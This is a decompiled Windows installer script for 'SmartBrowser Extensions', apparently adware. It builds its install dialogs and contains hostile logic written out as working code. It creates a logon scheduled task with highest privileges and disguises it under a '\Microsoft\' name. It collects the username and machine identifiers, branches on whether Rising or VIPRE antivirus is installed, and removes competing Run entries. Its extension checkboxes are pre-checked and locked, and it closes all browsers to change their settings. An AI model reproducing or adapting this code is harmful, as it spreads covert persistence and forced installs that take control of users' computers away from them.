$HWNDPARENT GetDlgItem $_15_ $_14_ 1006 GetDlgItem $_16_ $_14_ 1004 GetDlgItem $_17_ $_14_ 1027 GetDlgItem $_18_ $_14_ 1016 FunctionEnd Function func_4509 ; Page 2, Leave IfAbort label_4513 SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_39) ; "Installation Complete" SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_40) ; "Setup was completed successfully." Goto label_4515 label_4513: SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_41) ; "Installation Aborted" SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_42) ; "Setup was not completed successfully." label_4515: IfAbort label_4516 label_4516: FunctionEnd Function .onGUIInit GetDlgItem $_0_ $HWNDPARENT 1037 CreateFont $_1_ $(LSTR_43) $(LSTR_44) 700 ; "MS Shell Dlg" 8 SendMessage $_0_ ${WM_SETFONT} $_1_ 0 GetDlgItem $_2_ $HWNDPARENT 1038 SetCtlColors $_0_ "" 0xFFFFFF SetCtlColors $_2_ "" 0xFFFFFF GetDlgItem $_3_ $HWNDPARENT 1034 SetCtlColors $_3_ "" 0xFFFFFF GetDlgItem $_4_ $HWNDPARENT 1039 SetCtlColors $_4_ "" 0xFFFFFF GetDlgItem $_6_ $HWNDPARENT 1028 SetCtlColors $_6_ /BRANDING "" GetDlgItem $_5_ $HWNDPARENT 1256 SetCtlColors $_5_ /BRANDING "" SendMessage $_5_ ${WM_SETTEXT} 0 "STR:$(LSTR_0) " ; " " GetDlgItem $_7_ $HWNDPARENT 1035 GetDlgItem $_8_ $HWNDPARENT 1045 GetDlgItem $_9_ $HWNDPARENT 1 GetDlgItem $_10_ $HWNDPARENT 2 GetDlgItem $_11_ $HWNDPARENT 3 FunctionEnd Function .onUserAbort FunctionEnd Function func_4539 Exch $6 ; Push $6 ; Exch ; Pop $6 Exch Exch $5 ; Push $5 ; Exch ; Pop $5 Exch Exch 2 Exch $4 ; Push $4 ; Exch ; Pop $4 Exch 2 Exch 3 Exch $3 ; Push $3 ; Exch ; Pop $3 Exch 3 Exch 4 Exch $2 ; Push $2 ; Exch ; Pop $2 Exch 4 Exch 5 Exch $1 ; Push $1 ; Exch ; Pop $1 Exch 5 Exch 6 Exch $0 ; Push $0 ; Exch ; Pop $0 Exch 6 Push $7 Push $8 Push $9 Push $R3 Push $R2 Push $R1 Push $R0 StrCpy $R0 "" StrCpy $R1 "" StrCpy $R2 "" StrCpy $R3 "" StrCmp $0 "" 0 label_4586 SetErrors Goto label_4678 label_4586: StrCmp $1 "" 0 label_4589 SetErrors Goto label_4678 label_4589: StrCmp $2 < label_4591 StrCpy $2 > label_4591: StrCmp $3 < label_4593 StrCpy $3 > label_4593: IntCmp $4 0 label_4595 StrCpy $4 1 label_4595: IntCmp $5 0 0 0 label_4597 StrCpy $5 0 label_4597: IntCmp $6 1 label_4599 StrCpy $6 0 label_4599: StrLen $7 $0 StrLen $8 $1 StrCmp $2 < 0 label_4605 IntOp $R1 $7 - $8 StrCpy $R2 $7 Goto label_4607 label_4605: StrCpy $R1 0 StrCpy $R2 $8 label_4607: StrCpy $9 0 label_4608: IntCmp $R1 0 label_4615 0 label_4615 StrCpy $R1 "" StrCpy $R2 "" StrCpy $R3 "" SetErrors Goto label_4678 Goto label_4621 label_4615: IntCmp $R2 $7 label_4621 label_4621 StrCpy $R1 "" StrCpy $R2 "" StrCpy $R3 "" SetErrors Goto label_4678 label_4621: IntCmp $R1 0 label_4623 StrCpy $R3 $0 "" $R1 label_4623: IntCmp $R2 $7 label_4628 IntCmp $R1 0 0 label_4627 label_4627 StrCpy $R3 $0 $8 Goto label_4628 label_4627: StrCpy $R3 $R3 $8 label_4628: StrCmp $6 1 0 label_4642 System::Call "kernel32::lstrcmpA(ts, ts) i.s" $R3 $1 ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push $1 ; Push $R3 ; Push "kernel32::lstrcmpA(ts, ts) i.s" ; CallInstDLL $PLUGINSDIR\System.dll Call Pop $R3 IntCmp $R3 0 0 label_4640 label_4640 StrCpy $R3 1 Goto label_4641 label_4640: StrCpy $R3 0 label_4641: Goto label_4646 label_4642: StrCmp $R3 $1 0 label_4645 StrCpy $R3 1 Goto label_4646 label_4645: StrCpy $R3 0 label_4646: IntCmp $R3 1 0 label_4669 label_4669 IntCmp $9 $5 0 label_4661 StrCmp $4 0 0 label_4655 StrCmp $3 < 0 label_4652 StrCpy $R0 $0 $R1 Goto label_4653 label_4652: StrCpy $R0 $0 "" $R2 label_4653: Goto label_4678 Goto label_4660 label_4655: StrCmp $3 < 0 label_4658 StrCpy $R0 $0 $R2 Goto label_4659 label_4658: StrCpy $R0 $0 "" $R1 label_4659: Goto label_4678 label_4660: Goto label_4668 label_4661: IntOp $9 $9 + 1 StrCmp $2 < 0 label_4666 IntOp $R1 $R1 - 1 IntOp $R2 $R2 - 1 Goto label_4668 label_4666: IntOp $R1 $R1 + 1 IntOp $R2 $R2 + 1 label_4668: Goto label_4675 label_4669: StrCmp $2 < 0 label_4673 IntOp $R1 $R1 - 1 IntOp $R2 $R2 - 1 Goto label_4675 label_4673: IntOp $R1 $R1 + 1 IntOp $R2 $R2 + 1 label_4675: Goto label_4608 Goto label_4675 Goto label_4678 label_4678: IntOp $R2 $R2 - 1 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Exch Pop $R1 Exch Pop $R2 Exch Pop $R3 Exch Pop $9 Exch Pop $8 Exch Pop $7 Exch Pop $6 Exch Pop $5 Exch Pop $4 Exch Pop $3 Exch Pop $2 Exch Pop $1 Exch Pop $0 FunctionEnd Function func_4709 ALPHAGHAMI::GSID ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GSID Pop $R1 Push $R1 ALPHAGHAMI::GMACHID ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GMACHID Pop $R1 Push $R1 FunctionEnd Function .onInit Call :label_4724 Goto label_4757 label_4724: StrCmp $CMDLINE "" 0 label_4727 Push "" Return label_4727: Push $0 Push $1 Push $2 Push $3 StrLen $1 $CMDLINE StrCpy $2 2 StrCpy $3 $CMDLINE 1 StrCmp $3 $\" label_4736 StrCpy $3 " " label_4736: IntCmp $2 $1 label_4740 0 label_4740 StrCpy $0 $CMDLINE 1 $2 IntOp $2 $2 + 1 StrCmp $3 $0 0 label_4736 label_4740: IntCmp $2 $1 label_4745 0 label_4745 StrCpy $0 $CMDLINE 1 $2 StrCmp $0 " " 0 label_4745 IntOp $2 $2 + 1 Goto label_4740 label_4745: StrCpy $0 $CMDLINE "" $2 label_4746: StrCpy $1 $0 1 -1 StrCmp $1 " " 0 label_4750 StrCpy $0 $0 -1 Goto label_4746 label_4750: Pop $3 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_4757: Pop $R7 ClearErrors Push $R7 Push --resetup Call :label_405 Pop $0 IfErrors label_4765 StrCpy $_31_ 1 label_4765: ClearErrors Push $R7 Push --safebrowser Call :label_405 Pop $0 IfErrors label_4772 StrCpy $_32_ 1 label_4772: ClearErrors Push $R7 Push --setresetup Call :label_405 Pop $0 IfErrors label_4779 StrCpy $_65_ 1 label_4779: ClearErrors StrCmp $_32_ 1 0 label_4783 IfFileExists $EXEDIR\rsext 0 label_4783 Quit label_4783: System::Call "kernel32::CreateMutexA(i 0, i 0, t $\"$(LSTR_2)$\") i .r1 ?e" ; "SmartBrowser Extensions 4.5.8.7879" ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push "kernel32::CreateMutexA(i 0, i 0, t $\"$(LSTR_2)$\") i .r1 ?e" ; "SmartBrowser Extensions 4.5.8.7879" ; CallInstDLL $PLUGINSDIR\System.dll Call Pop $R1 StrCmp $R1 0 label_4793 IfSilent label_4792 MessageBox MB_OK|MB_ICONSTOP "The process SmartBrowser Extensions 4.5.8.7879 has already started!" label_4792: Abort label_4793: System::Call "advapi32::GetUserName(t .r0, *i 1024 r1) i.r2" ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push "advapi32::GetUserName(t .r0, *i 1024 r1) i.r2" ; CallInstDLL $PLUGINSDIR\System.dll Call StrCpy $_107_ $0 StrCpy $_153_ extsetup Push $EXEFILE Call :label_4803 Goto label_4833 label_4803: Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 Push $2 Push $3 StrCpy $1 0 StrCpy $3 "" label_4811: IntOp $1 $1 - 1 StrCpy $2 $0 1 $1 StrCmp $2 "" label_4821 StrCmp $2 \ label_4821 StrCmp $3 noext label_4811 StrCmp $2 . 0 label_4811 StrCpy $0 $0 $1 StrCpy $3 noext StrCpy $1 0 Goto label_4811 label_4821: StrCmp $1 -1 label_4825 IntOp $1 $1 + 1 StrCpy $0 $0 "" $1 Goto label_4826 label_4825: StrCpy $0 "" label_4826: Pop $3 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_4833: Pop $R1 StrCmp $R1 extsetup label_4840 StrLen $5 $EXEFILE IntCmp $5 6 label_4840 label_4840 Push $R1 Call func_19365 Pop $_153_ label_4840: StrCmp $_65_ 1 0 label_5144 StrCpy $5 RunOnce nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --resetup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --resetup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Pop $7 nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskES.xml" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskES.xml" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists $PLUGINSDIR\TaskES.xml 0 label_5104 Push $0 Push $PLUGINSDIR\TaskES.xml Push "" Push 1:-1 StrCpy $0 12052 Push $0 Call :label_4862 Goto label_5097 label_4862: Exch $3 ; Push $3 ; Exch ; Pop $3 Exch Exch $2 ; Push $2 ; Exch ; Pop $2 Exch Exch 2 Exch $1 ; Push $1 ; Exch ; Pop $1 Exch 2 Exch 3 Exch $0 ; Push $0 ; Exch ; Pop $0 Exch 3 Push $4 Push $5 Push $6 Push $7 Push $8 Push $9 Push $R4 Push $R5 Push $R6 Push $R7 Push $R8 Push $R9 ClearErrors IfFileExists $0 0 label_5079 StrCmp $1 /NUL label_4902 StrCpy $8 0 label_4896: IntOp $8 $8 - 1 StrCpy $9 $1 1 $8 StrCmp $9 \ label_4900 StrCmp $9 "" label_4902 label_4896 label_4900: StrCpy $9 $1 $8 IfFileExists $9\*.* 0 label_5079 label_4902: StrCpy $4 1 StrCpy $5 -1 StrCpy $6 0 StrCpy $7 0 StrCpy $R4 "" StrCpy $R6 "" StrCpy $R7 "" StrCpy $R8 0 StrCpy $8 $2 1 StrCmp $8 { 0 label_4917 StrCpy $2 $2 "" 1 StrCpy $8 $2 1 -1 StrCmp $8 } 0 label_4917 StrCpy $2 $2 -1 StrCpy $R6 TextFunc_LineFind_cut label_4917: StrCpy $8 $2 1 StrCmp $8 " " 0 label_4921 StrCpy $2 $2 "" 1 Goto label_4917 label_4921: StrCmp $2$7 0 label_4960 StrCpy $4 "" StrCpy $5 "" StrCmp $2 "" label_5046 label_4925: StrCpy $8 0 label_4926: StrCpy $9 $2 1 $8 StrCmp $9 "" label_4932 StrCmp $9 " " label_4932 StrCmp $9 : label_4932 IntOp $8 $8 + 1 Goto label_4926 label_4932: StrCpy $5 $2 $8 IntOp $5 $5 + 0 IntOp $8 $8 + 1 StrCpy $2 $2 "" $8 StrCmp $4 "" 0 label_4938 StrCpy $4 $5 label_4938: StrCmp $9 : label_4925 IntCmp $4 0 0 label_4941 IntCmp $5 -1 label_4959 0 label_4957 label_4941: StrCmp $R7 "" 0 label_4949 StrCpy $R7 0 FileOpen $8 $0 r label_4944: FileRead $8 $9 IfErrors label_4948 IntOp $R7 $R7 + 1 Goto label_4944 label_4948: FileClose $8 label_4949: IntCmp $4 0 label_4954 0 label_4954 IntOp $4 $R7 + $4 IntOp $4 $4 + 1 IntCmp $4 0 label_4954 0 label_4954 StrCpy $4 0 label_4954: IntCmp $5 -1 label_4959 0 label_4957 IntOp $5 $R7 + $5 IntOp $5 $5 + 1 label_4957: IntCmp $4 $5 label_4959 label_4959 StrCpy $5 $4 label_4959: Goto $7 label_4960: StrCmp $1 /NUL label_4991 Push $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 Push $2 label_4967: StrCpy $2 $0 1 -1 StrCmp $2 \ 0 label_4971 StrCpy $0 $0 -1 Goto label_4967 label_4971: StrCpy $1 0 label_4972: IntOp $1 $1 - 1 StrCpy $2 $0 1 $1 StrCmp $2 \ label_4976 StrCmp $2 "" 0 label_4972 label_4976: StrCpy $0 $0 $1 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Pop $R4 StrCmp $R4 "" 0 label_4985 StrCpy $R4 $EXEDIR label_4985: GetTempFileName $R4 $R4 StrCmp $R4 "" 0 label_4988 GetTempFileName $R4 label_4988: ClearErrors Push $R4 FileOpen $R4 $R4 w label_4991: FileOpen $R5 $0 r IfErrors label_5052 label_4993: IntOp $R8 $R8 + 1 FileRead $R5 $R9 IfErrors label_5053 StrCmp $2$4$5 "" label_5046 IntCmp $4 $R8 label_5002 0 label_5046 StrCmp $5 -1 label_5002 IntCmp $5 $R8 label_5002 0 label_5002 StrCpy $7 4997 Goto label_4917 label_5002: StrCpy $7 $R9 Push $0 Push $1 Push $2 Push $3 Push $4 Push $5 Push $6 Push $7 Push $R4 Push $R5 Push $R6 Push $R7 Push $R8 StrCpy $R6 $4:$5 StrCmp $R7 "" label_5020 IntOp $R7 $R8 - $R7 IntOp $R7 $R7 - 1 label_5020: Call $3 Pop $9 Pop $R8 Pop $R7 Pop $R6 Pop $R5 Pop $R4 Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 IfErrors label_5052 StrCmp $9 StopLineFind 0 label_5039 IntOp $6 $6 + 1 Goto label_5053 label_5039: StrCmp $1 /NUL label_4993 StrCmp $9 SkipWrite 0 label_5043 IntOp $6 $6 + 1 Goto label_4993 label_5043: StrCmp $7 $R9 label_5050 IntOp $6 $6 + 1 Goto label_5050 label_5046: StrCmp $1 /NUL label_4993 StrCmp $R6 TextFunc_LineFind_cut 0 label_5050 IntOp $6 $6 + 1 Goto label_4993 label_5050: FileWrite $R4 $R9 Goto label_4993 label_5052: SetErrors label_5053: StrCmp $1 /NUL label_5056 FileClose $R4 Pop $R4 label_5056: FileClose $R5 IfErrors label_5079 StrCmp $1 /NUL label_5080 StrCmp $1 "" 0 label_5061 StrCpy $1 $0 label_5061: StrCmp $6 0 0 label_5073 FileOpen $7 $0 r FileSeek $7 0 END $8 FileClose $7 FileOpen $7 $R4 r FileSeek $7 0 END $9 FileClose $7 IntCmp $8 $9 0 label_5073 Delete $R4 StrCmp $1 $0 label_5080 CopyFiles /SILENT $0 $1 ; $(LSTR_7)$1 ; "Copy to " Goto label_5080 label_5073: Delete $EXEDIR\$1 Rename $R4 $EXEDIR\$1 ; $R4->$EXEDIR\$1 IfErrors 0 label_5080 Delete $1 Rename $R4 $1 ; $R4->$1 IfErrors 0 label_5080 label_5079: SetErrors label_5080: Pop $R9 Pop $R8 Pop $R7 Pop $R6 Pop $R5 Pop $R4 Pop $9 Pop $8 Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Return label_5097: Pop $0 nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete $PLUGINSDIR\TaskES.xml label_5104: WriteINIStr $EXEDIR\rsext rsext rs true StrCpy $5 SB nsExec::ExecToStack "schtasks /delete /tn SafeBrowser /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn SafeBrowser /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack ClearErrors ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5 IfErrors label_5135 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5 label_5135: ClearErrors ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SafeBrowser IfErrors label_5139 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SafeBrowser label_5139: SetRegView 64 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run $_153_$5 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run SafeBrowser SetRegView 32 Quit label_5144: ClearErrors ReadINIStr $1 $EXEDIR\le LE NTSS IfErrors label_5148 StrCpy $_152_ 1 label_5148: IfFileExists $PROGRAMFILES\Rising 0 label_5150 Call func_19127 label_5150: IfFileExists $PROGRAMFILES\VIPRE 0 label_5152 Call func_231 label_5152: Call func_19359 FunctionEnd Function func_5154 ; Page 0, Pre SendMessage $_0_ ${WM_SETTEXT} 0 "STR:Welcome to the SmartBrowser Extensions 4.5.8.7879" SendMessage $_2_ ${WM_SETTEXT} 0 "STR:Setup Wizard" nsDialogs::Create 1018 ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push 1018 ; CallInstDLL $PLUGINSDIR\nsDialogs.dll Create nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 10u 100% 28u "Welcome to the SmartBrowser Extensions 4.5.8.7879" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Welcome to the SmartBrowser Extensions 4.5.8.7879" ; Push 28u ; Push 100% ; Push 10u ; Push 0u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 28u 100% 28u "This wizard will guide you through the installation of SmartBrowser Extensions 4.5.8.7879" ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "This wizard will guide you through the installation of SmartBrowser Extensions 4.5.8.7879" ; Push 28u ; Push 100% ; Push 28u ; Push 0u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 48u 85% 38u "It is recommended that you close all other applications before starting Setup. This will make it possible to update relevant system files without having to reboot your computer." ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "It is recommended that you close all other applications before starting Setup. This will make it possible to update relevant system files without having to reboot your computer." ; Push 38u ; Push 85% ; Push 48u ; Push 0u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 84u 85% 38u "Click Next to continue." ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Click Next to continue." ; Push 38u ; Push 85% ; Push 84u ; Push 0u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::Show ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\nsDialogs.dll Show FunctionEnd Function func_5214 ; Page 1, Pre SendMessage $_0_ ${WM_SETTEXT} 0 "STR:Install products and End User License Agreement" SendMessage $_2_ ${WM_SETTEXT} 0 "STR:Please review the information before installing." nsDialogs::Create 1018 ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push 1018 ; CallInstDLL $PLUGINSDIR\nsDialogs.dll Create Pop $_19_ nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 0% 100% 40% "Install products:" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Install products:" ; Push 40% ; Push 100% ; Push 0% ; Push 0 ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000007 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $_22_ nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 7u 4% 10% "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "" ; Push 10% ; Push 4% ; Push 7u ; Push 7u ; Push 0 ; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $1 SendMessage $1 0x00F1 1 0 EnableWindow $1 0 nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 10u 90% 18u "Install SmartBrowser Extension for all Chromium browsers" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Install SmartBrowser Extension for all Chromium browsers" ; Push 18u ; Push 90% ; Push 10u ; Push 19u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 18u 4% 10% "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "" ; Push 10% ; Push 4% ; Push 18u ; Push 7u ; Push 0 ; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $1 SendMessage $1 0x00F1 1 0 EnableWindow $1 0 nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 21u 90% 16u "Install SmartBrowser Extension for browser Mozilla Firefox" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Install SmartBrowser Extension for browser Mozilla Firefox" ; Push 16u ; Push 90% ; Push 21u ; Push 19u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 29u 4% 10% "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "" ; Push 10% ; Push 4% ; Push 29u ; Push 7u ; Push 0 ; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $1 SendMessage $1 0x00F1 1 0 EnableWindow $1 0 nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 32u 90% 16u "Install TopLinks shortcuts to all users desktop" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Install TopLinks shortcuts to all users desktop" ; Push 16u ; Push 90% ; Push 32u ; Push 19u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 40u 4% 10% "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "" ; Push 10% ; Push 4% ; Push 40u ; Push 7u ; Push 0 ; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $1 SendMessage $1 0x00F1 1 0 EnableWindow $1 0 nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 43u 90% 10u "Install News Tab Extension for all Chromium browsers" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Install News Tab Extension for all Chromium browsers" ; Push 10u ; Push 90% ; Push 43u ; Push 19u ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 41% 100% 22% Warning: ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push Warning: ; Push 22% ; Push 100% ; Push 41% ; Push 0 ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000007 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $_23_ nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 12 48% 96% 12% "During installation will be amended in the browser settings and also will be closed all browsers on the OS." ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "During installation will be amended in the browser settings and also will be closed all browsers on the OS." ; Push 12% ; Push 96% ; Push 48% ; Push 12 ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl LINK 0x40000000|0x10000000|0x04000000|0x00010000|0x0000000B 0 60u 89% 175u 10u "END USER LICENSE AGREEMENT (eula.txt)" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "END USER LICENSE AGREEMENT (eula.txt)" ; Push 10u ; Push 175u ; Push 89% ; Push 60u ; Push 0 ; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x0000000B ; Push LINK ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl Pop $1 Push $0 Push $1 StrCpy $1 $1 StrCpy $0 19364 nsDialogs::OnClick $1 $0 ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsDialogs.dll 